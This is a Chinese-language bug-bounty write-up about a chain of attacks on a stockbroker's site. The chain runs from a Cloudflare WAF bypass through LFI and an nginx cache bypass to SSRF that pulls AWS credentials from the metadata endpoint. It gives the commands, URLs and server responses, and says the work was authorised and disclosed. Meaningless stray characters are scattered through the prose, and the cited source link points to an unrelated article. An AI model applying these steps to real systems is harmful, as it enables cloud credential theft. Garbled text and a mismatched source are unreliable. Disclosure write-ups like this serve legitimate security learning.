大家好冀瓦，這篇文章我將講述如何繞過一系列阻礙最終獲得印度最大股票經(jīng)紀(jì)公司的AWS（即Amazon Web Services顺呕，是亞馬遜公司的云計算IaaS和PaaS平臺服務(wù)）的訪問憑證岔冀。簡單來說早龟，我需要先繞過WAF案疲，然后再破解Web的緩存機制，最后獲得AWS賬戶憑據(jù)矮烹。
請注意越庇，我的一系列操作都是在相關(guān)公司的許可下完成的
在滲透測試的第一階段奋隶，我發(fā)現(xiàn)一些網(wǎng)站的端點存在文件交互，所以我測試了一下LFI（本地文件包含）漏洞悦荒，結(jié)果發(fā)現(xiàn)CloudFlare防火墻擋在我的前面。
要繞過CloudFlare的WAF嘹吨，最簡單的方法之一就是找到真實IP搬味，繞過WAF直接訪問，希望他們的服務(wù)器沒有設(shè)置訪問IP的白名單蟀拷。
為了找到服務(wù)器的真實IP碰纬，我直接使用了命令dig [www.readacted.com](http://www.readacted.com)，結(jié)果很幸運直接得到了結(jié)果问芬。
然后只需在電腦的hosts文件中配置一下網(wǎng)站和IP的對應(yīng)關(guān)系悦析，即可繞過WAF。接著我嘗試使用LFI讀取/etc/passwd此衅，得到的響應(yīng)如下：
OK强戴，這是一個很明顯的本地文件讀取漏洞。而當(dāng)我搜索這個真實IP的whois信息時挡鞍，發(fā)現(xiàn)它屬于AWS骑歹。于是，我的下一個目標(biāo)是通過利用SSRF漏洞讀取AWS的帳戶憑據(jù)墨微，因為我在這個LFI漏洞點看到過URL作為參數(shù)輸入的情況道媚。我調(diào)用了API嘗試讀取AWS實例的元數(shù)據(jù)（http://169.254.169.254/latest/meta-data/）。
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 06 Apr 2019 14:32:48 GMT
Content-Type: text/css;charset=UTF-8
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=15552000
X-frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Proxy-Cache: HIT
Content-Length: 0
但是翘县，響應(yīng)碼雖然是200——這意味著確實有交互——但沒有返回任何數(shù)據(jù)最域。為什么會這樣？如果你看一下上面的響應(yīng)頭锈麸，你會發(fā)現(xiàn)服務(wù)器是Nginx镀脂，而響應(yīng)頭有一個X-Proxy-Cache，它代表Nginx緩存層的設(shè)置掐隐，其值為“HIT”狗热，意味著當(dāng)客戶端試圖訪問AWS元數(shù)據(jù)的相關(guān)API時，服務(wù)器會首先在Nginx緩存層中尋找響應(yīng)虑省，而這個響應(yīng)為空匿刮。
現(xiàn)在，為了從服務(wù)器獲得真實的響應(yīng)探颈，我不得不繞過緩存層熟丸，首先我需要了解nginx緩存系統(tǒng)中URL緩存規(guī)則。
一些參考文獻 -
https://www.digitalocean.com/community/tutorials/how-to-implement-browser-caching-with-nginx-s-header-module-on-centos-7
https://www.howtoforge.com/make-browsers-cache-static-files-on-nginx
在經(jīng)過一段時間的學(xué)習(xí)后伪节，我所了解到的是光羞，緩存一般來說是基于URL路由路徑的绩鸣，如果URL是[https://somewebsite.com/a.html](https://somewebsite.com/a.html)那么它很可能與緩存中的URL路由路徑相匹配，那么它就會被導(dǎo)向緩存纱兑，但如果網(wǎng)址是[https://somewebsite.com/a.html?](https://somewebsite.com/a.html?)那么URL路由路徑將不會與緩存中的URL路由路徑相匹配呀闻，因此它將直接從服務(wù)器獲得響應(yīng)。簡單來說潜慎，我只需要在原來的請求后面加上一個問號或其他特殊符號[http://169.254.169.254/latest/meta-data?](http://169.254.169.254/latest/meta-data?)捡多，即可不匹配緩存中的URL路由路徑，就會直接訪問服務(wù)器铐炫，得到即時回應(yīng)垒手。以下是我得到的響應(yīng)：
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 06 Apr 2019 14:32:48 GMT
Content-Type: text/css;charset=UTF-8
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=15552000
X-frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Proxy-Cache: MISS
Content-Length: 315
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
identity-credentials/
instance-action
instance-id
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
product-codes
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
此時你可以看到響應(yīng)頭X-Proxy-Cache被設(shè)置為MISS，這意味著現(xiàn)在API調(diào)用繞過了緩存層倒信，直接從服務(wù)器獲取響應(yīng)科贬。
此時，我能夠成功繞過緩存來利用SSRF鳖悠。為了獲得AWS帳戶憑證榜掌，我調(diào)用了如下API讀取AWS實例的元數(shù)據(jù)中的安全性憑證（AWS instance me tadata security credentials），使用的URL為：[http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance?](http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance?)乘综。
正如我所預(yù)料的唐责，訪問成功：
我獲得了AWS訪問ID，秘密訪問密鑰和令牌瘾带，我可以進入網(wǎng)站的AWS賬戶鼠哥，獲取敏感信息，進行下一步滲透看政∑涌遥總結(jié)一下，我首先繞過了Cloudflare防火墻允蚣，找到了LFI漏洞于颖，然后繞過Web緩存機制將其升級到SSRF漏洞，最后利用SSRF漏洞獲得了AWS帳戶憑據(jù)嚷兔。
時間線
2019年4月6日 - 漏洞報告給有關(guān)公司森渐。
2019年4月7日 - 漏洞已被修復(fù)。
2019年4月7日 - 重新測試并確認修復(fù)冒晰。
2019年4月9日 - 發(fā)放獎勵同衣。
謝謝你的閱讀！
本文由白帽匯整理并翻譯壶运，不代表白帽匯任何觀點和立場：https://nosec.org/home/detail/2521.html
來源：https://www.nccgroup.trust/us/our-research/private-key-extraction-qualcomm-keystore/
